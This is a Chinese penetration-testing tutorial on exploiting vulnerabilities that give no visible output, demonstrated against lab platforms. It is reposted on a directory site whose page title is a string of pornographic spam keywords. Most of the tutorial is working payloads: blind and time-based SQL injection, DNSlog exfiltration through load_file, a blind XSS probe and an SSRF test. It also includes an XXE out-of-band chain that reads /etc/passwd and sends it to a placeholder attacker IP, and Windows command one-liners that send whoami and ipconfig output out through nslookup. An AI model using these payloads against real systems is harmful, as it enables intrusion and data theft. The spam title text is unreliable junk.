日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網(wǎng)為廣大站長提供免費收錄網(wǎng)站服務(wù),提交前請做好本站友鏈:【 網(wǎng)站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(wù)(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網(wǎng)站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

0x01前言

在滲透測試過程中,開發(fā)不可能每一次都將結(jié)果輸出到頁面上,也就是漏洞無回顯的情況,那么在這種情況下,我們可以通過DNSlog判斷漏洞存在,或者通過起一個Python的http服務(wù)來判斷,方法很多,下面主要進(jìn)行一些情況的分析。

0x02無回顯概念

無回顯,即執(zhí)行的payload在站點沒有輸出,無法進(jìn)行進(jìn)一步操作。在滲透測試過程中,漏洞點不可能總是能夠在返回頁面進(jìn)行輸出,那么這時候就需要進(jìn)行一些無回顯利用了。

0x03不同漏洞的無回顯

1、SQL注入無回顯

SQL注入,作為OWASP常年占據(jù)榜首位置的漏洞,在無回顯中也是常見的。當(dāng)然SQL注入在無回顯上已經(jīng)具有了一定的解決措施。
無回顯我將其定義為頁面沒有輸出我們想要得到的內(nèi)容,下面以sqli-labs為例進(jìn)行講解。

1.1 布爾盲注

布爾盲注,盲注的一種,當(dāng)網(wǎng)站通過查詢語句的布爾值返回真假來輸出頁面信息的時候,查詢語句為真,頁面輸出內(nèi)容;查詢語句為假,頁面不輸出內(nèi)容。那么這里就可以通過構(gòu)造等號判斷,獲取相應(yīng)的字符的ascii碼,最后還原出數(shù)據(jù)。具體測試過程如下:
1、id傳參1之后,頁面返回有數(shù)據(jù),這里明顯不能進(jìn)行顯錯注入了。

記一次PHP滲透測試實戰(zhàn)教程

 

2、在傳參后面加個單引號,頁面返回空,不顯示錯誤信息,不能使用報錯注入。

記一次PHP滲透測試實戰(zhàn)教程

 

3、通過拼接and 1=1和and 1=2,發(fā)現(xiàn)頁面對于布爾值的真與假返回的頁面結(jié)果也不同。

記一次PHP滲透測試實戰(zhàn)教程

 


記一次PHP滲透測試實戰(zhàn)教程

 

4、通過length()函數(shù)判斷數(shù)據(jù)庫庫名的長度大于1。
?id=1’ and length(database())>1 %23

記一次PHP滲透測試實戰(zhàn)教程

 

5、在大于8的時候頁面返回空,所以數(shù)據(jù)庫庫名長度等于8。

記一次PHP滲透測試實戰(zhàn)教程

 

6、通過ascii()函數(shù)和substr ()截取函數(shù)獲取數(shù)據(jù)庫庫名的第一個字符的ascii碼
?id=1’ and ascii(substr((select database()),1,1))>97 %23
?id=1’ and ascii(substr((select database()),1,1))=101 %23
首先用大于號判斷出大概所處的值,最后使用等于號驗證ascii碼的值。此處得出數(shù)據(jù)庫庫名的第一個字符的ascii碼值為115,對應(yīng)字符為s。

記一次PHP滲透測試實戰(zhàn)教程

 

7、更改截取的位置,判斷后面的字符對應(yīng)的ascii碼值。
?id=1’ and ascii(substr((select database()),2,1))=101 %23

記一次PHP滲透測試實戰(zhàn)教程

 

1.2 延時盲注

延時盲注,一種盲注的手法。在滲透測試過程中當(dāng)我們不能使用顯錯注入、報錯注入以及布爾盲注無論布爾值為真還是為假,頁面都返回一樣之后,我們可以嘗試使用延時盲注,通過加載頁面的時間長度來判斷數(shù)據(jù)是否成功。在php中有一個if()函數(shù),語法為if(exp1,exp2,exp3),當(dāng)exp1返回為真時,執(zhí)行exp2,返回為假時,執(zhí)行exp3。配合延時函數(shù)sleep()來獲取相應(yīng)數(shù)據(jù)的ascii碼,最后還原成數(shù)據(jù)。下面我將通過實例來介紹如今進(jìn)行延時盲注。
1、首先獲取的頁面如下,后面不論接上布爾值為真還是為假的,頁面都返回一樣,此時將不能使用布爾盲注。

記一次PHP滲透測試實戰(zhàn)教程

 


記一次PHP滲透測試實戰(zhàn)教程

 

2、通過and拼接延時函數(shù)查看頁面是否有延時回顯。首先記錄沒有使用延時函數(shù)的頁面返回時間,為4.*秒;使用sleep(5)延時5秒之后,頁面響應(yīng)時間為9.*秒,說明對于我們輸入的sleep()函數(shù)進(jìn)行了延時處理,此處存在延時盲注。

記一次PHP滲透測試實戰(zhàn)教程

 


記一次PHP滲透測試實戰(zhàn)教程

 

3、通過延時注入判斷數(shù)據(jù)庫庫名的長度。一個個測試發(fā)現(xiàn)當(dāng)長度等于8時頁面延時返回了,說明數(shù)據(jù)庫庫名長度為8。
?id=2’ and if((length(database())=8),sleep(5),1) %23

記一次PHP滲透測試實戰(zhàn)教程

 

4、與布爾盲注一樣,將子查詢的數(shù)據(jù)截斷之后判斷ascii碼,相等時延時5秒。最后得到第一個字符的ascii碼為115。
?id=2’ and if((ascii(substr((select database()),1,1))=115),sleep(5),1) %23

記一次PHP滲透測試實戰(zhàn)教程

 

5、后面替換截斷的位置,測試后面的字符的ascii碼值。最后得到對應(yīng)的ascii碼值為115 101 99 117 114 105 116 121。通過ascii解碼工具解得數(shù)據(jù)庫庫名為security。

記一次PHP滲透測試實戰(zhàn)教程

 

巧用dnslog進(jìn)行SQL注入

前面介紹了SQL注入中的盲注,通過布爾盲注或者延時盲注來獲取數(shù)據(jù)需要的步驟非常繁瑣,不僅需要一個一個字符的獲取,最后還需要進(jìn)行ascii解碼,這需要花費大量的時間與精力。為了加快滲透進(jìn)程,以及降低獲取數(shù)據(jù)的難度,這里介紹如何通過dnslog進(jìn)行SQL注入。

Dnslog

dnslog,即dns日志,會解析訪問dns服務(wù)的記錄并顯示出來,常被用來測試漏洞是否存在以及無法獲取數(shù)據(jù)的時候進(jìn)行外帶數(shù)據(jù)。簡單來說,dnslog就是一個服務(wù)器,會記錄所有訪問它的記錄,包括訪問的域名、訪問的IP以及時間。那么我們就可以通過子查詢,拼接dnslog的域名,最后通過dns日志得到需要的數(shù)據(jù)。

Load_file()函數(shù)

數(shù)據(jù)庫中的load_file()函數(shù),可以加載服務(wù)器中的內(nèi)容。load_file(‘c:/1.txt’),讀取文件并返回內(nèi)容為字符串,使用load_file()函數(shù)獲取數(shù)據(jù)需要有以下幾個條件:
1.文件在服務(wù)器上
2.指定完整路徑的文件
3.必須有FILE權(quán)限

UNC路徑

UNC路徑就是類似softer這樣的形式的網(wǎng)絡(luò)路徑。它符合 服務(wù)器名服務(wù)器資源的格式。在windows系統(tǒng)中常用于共享文件。如192.168.1.1共享文件夾名。

Dnslog注入實例演示

1、打開實例站點,很明顯這里是只能使用盲注的站點。

記一次PHP滲透測試實戰(zhàn)教程

 

2、通過order by判斷出字段數(shù)為3。

記一次PHP滲透測試實戰(zhàn)教程

 


記一次PHP滲透測試實戰(zhàn)教程

 

3、在dnslog網(wǎng)站申請一個dnslog域名:pcijrt.dnslog.cn

記一次PHP滲透測試實戰(zhàn)教程

 

4、通過load_file函數(shù)拼接查詢數(shù)據(jù)庫庫名的子查詢到dnslog的域名上,后面任意接一個不存在的文件夾名。最后將這個查詢放到聯(lián)合查詢中,構(gòu)造的payload如下:

?id=1 ' union select 1,2,load_file(concat('//',(select database()),'.pcijrt.dnslog.cn
/abc')) %23
記一次PHP滲透測試實戰(zhàn)教程

 

5、執(zhí)行語句之后在dnslog日志中獲取到數(shù)據(jù)庫庫名為security。

記一次PHP滲透測試實戰(zhàn)教程

 

6、修改子查詢里的內(nèi)容,獲取其他數(shù)據(jù)。

記一次PHP滲透測試實戰(zhàn)教程

 


記一次PHP滲透測試實戰(zhàn)教程

 

2、XSS無回顯

XSS無回顯比較特殊,一般XSS漏洞的判斷標(biāo)準(zhǔn)為彈框,但是有這樣一種情況,在一個表單提交處,內(nèi)容提交之后只會在頁面顯示提交成功與否,不會輸出提交的內(nèi)容,那么我們也就無法通過彈框來判斷XSS漏洞存在與否。這時候就需要通過XSS盲打來進(jìn)行攻擊。下面通過Pikachu漏洞練習(xí)平臺來進(jìn)行實例講解:

2.1 XSS盲打

1、如圖這里是一個提交看法的功能

記一次PHP滲透測試實戰(zhàn)教程

 

2、隨便輸入內(nèi)容提交,告訴我們提交成功,沒有將我輸入的內(nèi)容返回到頁面中

記一次PHP滲透測試實戰(zhàn)教程

 

3、登錄后臺可以看到確實有數(shù)據(jù)回顯

記一次PHP滲透測試實戰(zhàn)教程

 

4、輸入彈框語句會在后臺成功執(zhí)行

記一次PHP滲透測試實戰(zhàn)教程

 

5、在滲透測試過程中我們無法登錄后臺進(jìn)行查看,那么就需要盲打XSS,輸入XSS平臺的payload,坐等管理員查看內(nèi)容后上鉤。

記一次PHP滲透測試實戰(zhàn)教程

 

2.2 通過dnslog判斷漏洞存在

payload:
<img src=http://xss.t7y3wc.dnslog.cn>
記一次PHP滲透測試實戰(zhàn)教程

 


記一次PHP滲透測試實戰(zhàn)教程

 

3、SSRF無回顯

SSRF即服務(wù)端請求偽造,一種由攻擊者構(gòu)造的通過服務(wù)器發(fā)起請求的攻擊。
測試代碼如下:

<?php 
    echo file_get_contents($_GET['url']);
?>

首先通過訪問百度可以驗證漏洞存在

記一次PHP滲透測試實戰(zhàn)教程

 

無回顯情況即不進(jìn)行輸出,頁面返回空

記一次PHP滲透測試實戰(zhàn)教程

 


記一次PHP滲透測試實戰(zhàn)教程

 

這種情況可以通過dnslog或者python搭建http服務(wù)驗證
1、DNSLOG

http://172.16.29.2/ssrf_test.php?url=http://ssrf.02c6ot.dnslog.cn

記一次PHP滲透測試實戰(zhàn)教程

 

2、python起的http服務(wù)

python3 -m http.server 4545
記一次PHP滲透測試實戰(zhàn)教程

 


記一次PHP滲透測試實戰(zhàn)教程

 

4、XXE無回顯

因為XML是用來存儲傳輸數(shù)據(jù)的,除了確實是業(yè)務(wù)需要,否則開發(fā)不可能會輸出內(nèi)容,也就是說你確實讀取到了文件內(nèi)容,但是沒辦法看到。XXE無回顯問題當(dāng)然也是可以通過在域名前面放入查詢出的內(nèi)容,將數(shù)據(jù)通過dns日志記錄下來。
XXE雖然不是通過DNSlog,但是也同樣是外帶數(shù)據(jù)。
流程如下:
在受害者網(wǎng)站中,我們通過請求攻擊者VPS上的1.xml文件,文件內(nèi)容為將某數(shù)據(jù)放在GET傳參中去訪問2.php。然后2.php中的內(nèi)容為保存GET傳參的數(shù)據(jù),將數(shù)據(jù)放入到3.txt中。
具體文件內(nèi)容放在下面,里面的IP地址應(yīng)該為攻擊者的IP地址,這3個文件也是放在攻擊者VPS上。
1.xml

<!ENTITY% all "<!ENTITY % send SYSTEM 'http://攻擊者的IP地址/2.php?id=%file;'>">%all;

2.php

<?php file_put_contents("3.txt",$_GET["id"],FILE_AppEND);?>

3.txt

內(nèi)容空


payload:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % remote SYSTEM"http://服務(wù)器IP地址/xxe/1.xml">
%remote;
%send;
]>

5、命令執(zhí)行無回顯

簡單的命令執(zhí)行站點

記一次PHP滲透測試實戰(zhàn)教程

 

輸入任何命令都無回顯

記一次PHP滲透測試實戰(zhàn)教程

 

5.1 Dnslog判斷漏洞存在

記一次PHP滲透測試實戰(zhàn)教程

 


記一次PHP滲透測試實戰(zhàn)教程

 

5.2Dnslog外帶數(shù)據(jù)

5.2.1 獲取windows用戶名

http://127.0.0.1/test_blind/exec.php?cmd=ping+%USERNAME%.io5a5i.dnslog.cn
記一次PHP滲透測試實戰(zhàn)教程

 

5.2.2 其他命令執(zhí)行

cmd /c whoami > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,-1%.xxxx.ceye.io)&del temp
cmd /c ipconfig > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,40%.xxxx.ceye.io & cmd /c nslookup %_:~40,-1%.xxxx.ceye.io)&del temp

通過POST傳參測試

記一次PHP滲透測試實戰(zhàn)教程

 

傳參的內(nèi)容需要進(jìn)行url編碼

記一次PHP滲透測試實戰(zhàn)教程

 

Post傳參

記一次PHP滲透測試實戰(zhàn)教程

 

Dnslog獲取結(jié)果

記一次PHP滲透測試實戰(zhàn)教程

 

Base64解碼獲取內(nèi)容

記一次PHP滲透測試實戰(zhàn)教程

 

總結(jié)

在滲透測試過程中,無回顯是很常見的,程序不可能將一些操作都回顯到頁面中,那么這種時候我們就需要外帶數(shù)據(jù)來獲取想要的內(nèi)容。當(dāng)然最好就是能夠反彈shell,通過獲取shell來執(zhí)行命令,這樣會舒服很多。

無回顯的情況還有很多很多,這里簡單介紹了幾種,希望讀者朋友們能夠從中學(xué)到對于無回顯的情況下如何進(jìn)行滲透測試,方法很多,不固定,學(xué)習(xí)思路即可。

分享到:
標(biāo)簽:滲透 PHP
用戶無頭像

網(wǎng)友整理

注冊時間:

網(wǎng)站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網(wǎng)站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網(wǎng)站吧!
最新入駐小程序

數(shù)獨大挑戰(zhàn)2018-06-03

數(shù)獨一種數(shù)學(xué)游戲,玩家需要根據(jù)9

答題星2018-06-03

您可以通過答題星輕松地創(chuàng)建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學(xué)四六

運動步數(shù)有氧達(dá)人2018-06-03

記錄運動步數(shù),積累氧氣值。還可偷

每日養(yǎng)生app2018-06-03

每日養(yǎng)生,天天健康

體育訓(xùn)練成績評定2018-06-03

通用課目體育訓(xùn)練成績評定